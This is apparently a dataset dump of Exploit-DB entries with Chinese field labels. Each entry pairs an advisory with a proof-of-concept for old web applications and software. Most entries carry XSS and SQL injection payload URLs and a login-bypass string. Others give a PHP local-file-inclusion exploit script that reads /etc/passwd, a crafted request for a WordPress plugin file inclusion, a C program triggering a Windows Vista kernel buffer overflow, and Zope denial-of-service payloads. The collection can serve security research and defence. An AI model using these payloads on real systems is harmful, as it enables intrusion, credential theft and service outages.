QLWD/code_shield huggingface dataset:
标题: Z1Exchange 1.0 - 'id' Cross-Site Scripting EDB-ID: 32634 CVE: 2008-6386 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/32598/info
 
Z1Exchange is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Z1Exchange 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[Path]/showads.php?id=<script>alert(1369)</script> URL: https://www.exploit-db.com/exploits/32634
标题: IBM Rational ClearCase 7/8 - Cross-Site Scripting EDB-ID: 32631 CVE: 2008-5330 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32574/info

IBM Rational ClearCase is prone to a cross-site scripting vulnerability because the software fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects versions prior to Rational ClearCase 7.0.0.4 and 7.0.1.3.

http://www.example.com/ccrc/??''??script?alert(1234)?/script?=123 URL: https://www.exploit-db.com/exploits/32631
标题: ASP Forum Script - 'default.asp' Query String Cross-Site Scripting EDB-ID: 32629 CVE: 2008-6891 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32571/info
   
ASP Forum Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
http://www.example.com/[Path]/default.asp?>"'><ScRiPt>alert(1369)</ScRiPt> URL: https://www.exploit-db.com/exploits/32629
标题: Yappa-ng - Query String Cross-Site Scripting EDB-ID: 32640 CVE: 2008-6515 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/32623/info
 
The 'yappa-ng' program is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/[Path]/?>"'><ScRiPt>alert(1369)</ScRiPt> URL: https://www.exploit-db.com/exploits/32640
标题: Orkut Clone - 'profile_social.php?id' Cross-Site Scripting EDB-ID: 32637 CVE: 2008-5971 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/32600/info
 
Orkut Clone is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/profile_social.php?id=%3E%22%3E%3CScRiPt%20%0A%0D%3Ealert(0000)%3B%3C/ScRiPt%3E URL: https://www.exploit-db.com/exploits/32637
标题: Fantastico - 'index.php' Local File Inclusion EDB-ID: 32632 CVE: 2008-6843 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/32578/info

Fantastico is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks. 

set_time_limit(0);
if(isset($_POST['sup3r'])) {
if(stristr(php_uname(),"2.6.") && stristr(php_uname(),"Linux")) {
$phpwrapper = '<?php
include_once("./language/".$_GET[sup3r].".php");
?>
';
fwrite($h,$prctl);
fclose($h);
$handle = fopen($_POST['php'], "w");
fwrite($handle, $phpwrapper);
fclose($handle);
echo "Building exploit...<br />";
echo "coding by Super-Crystal <br />";
echo "Cleaning up<br />";
echo "Done!<br />
</pre>";
} else {
echo "error : ".php_uname();
}
} else {
?>
<div align="center">
<h3>Deadly Script</h3>
<font color=red>Cpanel fantastico Privilege Escalation "ModSec and PHP restriction Bypass"</font><br />
<pre><div align="center">
</pre></div><br />
<table border="0" cellspacing="0">
<tr>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<table border="0" cellspacing="0">
<tr>
<td><div align="right">Exploit:</div></td>
<td>
<select name="exploit">
<option selected="selected">Cpanel fantastico Privilege Escalation "ModSec and PHP restriction Bypass"</option>
</select>
</td>
</tr>
<tr>
<td><div align="right">change</div></td>
<td><input type="text" name="php" size="50" value="<?php echo getcwd()."/language.php" ?>" /></td>
</tr>
<tr>
</table>
</div>
<input type="hidden" name="sup3r" value="doit" />
<input name="submit" type="submit" value="Submit" /><br />
1- change /home/[user]/.fantasticodata/language.php
<br />
2- click on the submit
<br />
3- now put it like this (e.g)
: http://www.xxxx.com:2082/frontend/x3/fantastico/index.php?sup3r=../../../../../../etc/passwd%00 .
<br />
<font color=red>Written: 10.10.2008</font><br />
<font color=blue>Public: 26.11.2008</font><br />
<div align="center">
<font color=red>Author : Super-Crystal</font><br />
<a href="http://www.arab4services.net">Arab4services.net </a></center>
</div>
</form>
<?php } ?> URL: https://www.exploit-db.com/exploits/32632
标题: PHP JOBWEBSITE PRO - 'adname' SQL Injection EDB-ID: 32624 CVE: 2008-5977 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32570/info

PHP JOBWEBSITE PRO is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[Path]/siteadmin/forgot.php?adname=SQL'"&fu=Submit URL: https://www.exploit-db.com/exploits/32624
标题: ASP Forum Script - 'messages.asp?message_id' SQL Injection EDB-ID: 32626 CVE: 2008-6890 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32571/info

ASP Forum Script is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[Path]/messages.asp?forum_id=3&message_id=[SQL] URL: https://www.exploit-db.com/exploits/32626
标题: WordPress Plugin Ajax Pagination 1.1 - Local File Inclusion EDB-ID: 32622 CVE: 2014-2674 类型: WEBAPPS 平台: PHP 发布日期: 2014-03-31 漏洞利用脚本: Details
================
Software: Ajax Pagination (twitter Style)
Version: 1.1
Homepage: http://wordpress.org/plugins/ajax-pagination/
CVSS: 9.3 (High; AV:N/AC:M/Au:N/C:C/I:C/A:C)

Description
================
End-user exploitable local file inclusion vulnerability in Ajax 
Pagination (twitter Style) 1.1

Vulnerability
================
This plugin contains a file inclusion vulnerability that is exploitable 
by an unauthenticated user. The user can include any local file ending 
in “.php” which is accessible to the web user.

Proof of concept
================
A non-logged in user can call the ajax function 
wp_ajax_nopriv_ajax_navigation that calls ajax_navigation_callback in 
ajax-pagination-front.php at line 75.
By setting the value of “loop” in the POST data, they can include the 
contents of that path on the returned page.
For example, to include the contents of wp-login.php in the returned 
page, send the following:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
paged=2&action=ajax_navigation&loop=../../../wp-login


Mitigations
================
Disable the plugin until a fix is available.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our 
disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you 
received it via a third party (for example, plugins@wordpress.org) as 
they generally cannot communicate with us on your behalf.

Please note that this vulnerability will be published if we do not 
receive a response to this report with 14 days.

Timeline
================

2014-02-18: Reported to nuwan28@gmail.com and plugins@wordpress.org
2014-03-28: No response received to reports. Vulnerability published.


Discovered by dxw:
================
Glyn Wintle
Please visit security.dxw.com for more information. URL: https://www.exploit-db.com/exploits/32622
标题: Softbiz Classifieds Script - 'gallery.php?radio' Cross-Site Scripting EDB-ID: 32614 CVE: 2008-6325 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32569/info
  
Softbiz Classifieds Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/gallery.php?type=2&keyword=111-222-1933email@address.tst&radio=>"><ScRiPt%20%0a%0d>alert(436145568828)%3B</ScRiPt>&cid=0 URL: https://www.exploit-db.com/exploits/32614
标题: Softbiz Classifieds Script - 'lostpassword.php?msg' Cross-Site Scripting EDB-ID: 32615 CVE: 2008-6325 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32569/info
   
Softbiz Classifieds Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/lostpassword.php?msg=<ScRiPt%20%0a%0d>alert(434915558474)%3B</ScRiPt URL: https://www.exploit-db.com/exploits/32615
标题: Softbiz Classifieds Script - '/advertisers/signinform.php?msg' Cross-Site Scripting EDB-ID: 32613 CVE: 2008-6325 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32569/info
 
Softbiz Classifieds Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/advertisers/signinform.php?msg=</title><ScRiPt%20%0a%0d>alert(455695710637)%3B</ScRiPt>&show_form=no URL: https://www.exploit-db.com/exploits/32613
标题: Softbiz Classifieds Script - '/admin/index.php?msg' Cross-Site Scripting EDB-ID: 32617 CVE: 2008-6325 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32569/info
     
Softbiz Classifieds Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
http://www.example.com/admin/index.php?msg=&lt;/textarea&gt;<ScRiPt%20%0a%0d>alert(476295881324)%3B</ScRiPt URL: https://www.exploit-db.com/exploits/32617
标题: PHP JOBWEBSITE PRO - 'forgot.php' Cross-Site Scripting EDB-ID: 32625 CVE: 2008-5976 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32570/info
 
PHP JOBWEBSITE PRO is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 

http://www.example.com/[Path]/siteadmin/forgot.php
UserName:<script>alert(1369)</script> URL: https://www.exploit-db.com/exploits/32625
标题: Softbiz Classifieds Script - 'showcategory.php?radio' Cross-Site Scripting EDB-ID: 32612 CVE: 2008-6325 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32569/info

Softbiz Classifieds Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/showcategory.php?cid=9&type=1&keyword=Pouya&radio=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt URL: https://www.exploit-db.com/exploits/32612
标题: Softbiz Classifieds Script - '/admin/adminhome.php?msg' Cross-Site Scripting EDB-ID: 32616 CVE: 2008-6325 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32569/info
    
Softbiz Classifieds Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://www.example.com/admin/adminhome.php?tmp=1&msg=&lt;/textarea&gt;<ScRiPt%20%0a%0d>alert(477365890784)%3B</ScRiPt URL: https://www.exploit-db.com/exploits/32616
标题: RakhiSoftware Shopping Cart - PHPSESSID Cookie Manipulation Full Path Disclosure EDB-ID: 32608 CVE: 2008-6279 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/32563/info
 
RakhiSoftware Shopping Cart is prone to multiple remote vulnerabilities.
 
Exploiting these issues can allow attackers to obtain sensitive information, steal cookie data, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Set Cookie: PHPSESSID=' URL: https://www.exploit-db.com/exploits/32608
标题: Pre Classified Listings 1.0 - 'signup.asp' Cross-Site Scripting EDB-ID: 32610 CVE: 2008-6888 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32567/info

Pre Classified Listings is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

All versions are considered vulnerable. 

http://www.example.com/[Path]/home/signup.asp?full_name=pouya.s3rver@gmail.com&email=111-222-1933email@address.tst&pass=111-222-1933email@address.tst&address=&lt;/textarea&gt;<ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&phone=111-222-1933email@address.com&state=0&hide_email=on&url_add=111-222-1933email@address.tst&Submit=SignUp&addit=start URL: https://www.exploit-db.com/exploits/32610
标题: Linksys WRT160N - 'apply.cgi' Cross-Site Scripting EDB-ID: 32599 CVE: 2008-6280 类型: REMOTE 平台: HARDWARE 发布日期: 2008-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/32496/info

Linksys WRT160N is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attackers may exploit this issue by enticing victims into opening a malicious URI.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected device. This may help the attacker steal cookie-based authentication credentials, cause denial-of-service conditions, and launch other attacks. 

http://www.example.com/apply.cgi?submit_button=DHCP_Static&action=--%3E%3CScRiPt%20%0A%0D%3Ealert(398343216433)%3B%3C%2FScRiPt%3E&wait_time=0&forward_single=15 URL: https://www.exploit-db.com/exploits/32599
标题: CodeToad ASP Shopping Cart Script - Cross-Site Scripting EDB-ID: 32611 CVE: 2008-6500 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32568/info

CodeToad ASP Shopping Cart Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/?>"'><ScRiPt>alert(1369)</ScRiPt> URL: https://www.exploit-db.com/exploits/32611
标题: RakhiSoftware Shopping Cart - 'product.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32607 CVE: 2008-6278 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/32563/info

RakhiSoftware Shopping Cart is prone to multiple remote vulnerabilities.

Exploiting these issues can allow attackers to obtain sensitive information, steal cookie data, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/rjbike_new/product.php?category_id=>'><script>alert(19 49308870);</script>&subcategory_id=1

http://www.example.com/rjbike_new/product.php?category_id=1&subcategory_id=>' ><script>alert(1949308870);</script> URL: https://www.exploit-db.com/exploits/32607
标题: Ocean12 Mailing LisManager Gold 2.04 - 'Email' SQL Injection EDB-ID: 32603 CVE: 2008-5978 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/32528/info

Ocean12 Mailing List Manager Gold is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Ocean12 Mailing List Manager Gold 2.04 is vulnerable; other versions may also be affected.

http://www.example.com/default.asp?Page=2&Email=[SQL]&Password=pass&Password2=pass&FirstName=name&LastName=lastname&MailType=0 URL: https://www.exploit-db.com/exploits/32603
标题: Pre Classified Listings 1.0 - 'detailad.asp' SQL Injection EDB-ID: 32609 CVE: 2008-6887 类型: WEBAPPS 平台: ASP 发布日期: 2008-12-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/32566/info

Pre Classified Listings is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

All versions are considered vulnerable. 

http://www.example.com/[Path]/home/detailad.asp?siteid=[SQL] URL: https://www.exploit-db.com/exploits/32609
标题: AssoCIateD 1.4.4 - 'menu' Cross-Site Scripting EDB-ID: 32600 CVE: 2006-3151 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/32499/info

AssoCIateD (ACID) is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ACID 1.4.4 is vulnerable; other versions may also be affected. 

http://www.example.com/[acid_path]/index.php?p=search&menu=[XSS] URL: https://www.exploit-db.com/exploits/32600
标题: Pilot Group PG Roommate Finder Solution - SQL Injection EDB-ID: 32597 CVE: 2008-5307 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/32430/info

Pilot Group PG Roommate is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following proof of concept is available:

username: admin ' or ' 1=1--
password: anything URL: https://www.exploit-db.com/exploits/32597
标题: Microsoft Windows Vista - 'iphlpapi.dll' Local Kernel Buffer Overflow EDB-ID: 32590 CVE: 2008-5229 类型: LOCAL 平台: WINDOWS 发布日期: 2008-11-19 漏洞利用脚本: // source: https://www.securityfocus.com/bid/32357/info

// Microsoft Windows Vista is prone to a buffer-overflow vulnerability because of insufficient boundary checks.

// Local attackers could exploit this issue to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to execute arbitrary code with SYSTEM-level privileges, but this has not been confirmed.

// Windows Vista SP1 is vulnerable to this issue.

// UPDATE (November 25, 2008): Since this issue may be exploitable only by members of the administrative group, the security implication of this issue may be negated. 

#define _WIN32_WINNT 0x0600
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2ipdef.h>
#include <iphlpapi.h>

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char** argv)
{
        DWORD                      dwStatus;
        MIB_IPFORWARD_ROW2 route;
        
        if (argc != 3)
        {
                printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]);
                return -1;
        }

        InitializeIpForwardEntry(&route);       

        route.InterfaceIndex = atoi(argv[1]);
        route.DestinationPrefix.Prefix.si_family = AF_INET;

        route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr("1.2.3.0");     
        route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET;

        route.DestinationPrefix.PrefixLength = atoi(argv[2]);
        
        route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44");  
        route.NextHop.Ipv4.sin_family       = AF_INET;

        route.SitePrefixLength          = 0;

        route.Protocol                  = MIB_IPPROTO_NETMGMT;          
        route.Origin                            = NlroManual;
        route.ValidLifetime             = 0xffffffff;
        route.PreferredLifetime         = 0xffffffff;
        route.Metric                            = 1;
        
        dwStatus = CreateIpForwardEntry2(&route); 
        return dwStatus;
} URL: https://www.exploit-db.com/exploits/32590
标题: Zope 2.11.2 - PythonScript Multiple Remote Denial of Service Vulnerabilities EDB-ID: 32581 CVE: 2008-5102 类型: DOS 平台: MULTIPLE 发布日期: 2008-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/32267/info

Zope is prone to multiple remote denial-of-service vulnerabilities.

Remote attackers can exploit this issue to cause the Zope server to halt or to consume excessive server resources, resulting in denial-of-service conditions.

These issues affect Zope 2.7.0 through 2.11.2. 

To halt the application:
raise SystemExit

To consume excessive resources:
return 'foo'.encode('test.testall') URL: https://www.exploit-db.com/exploits/32581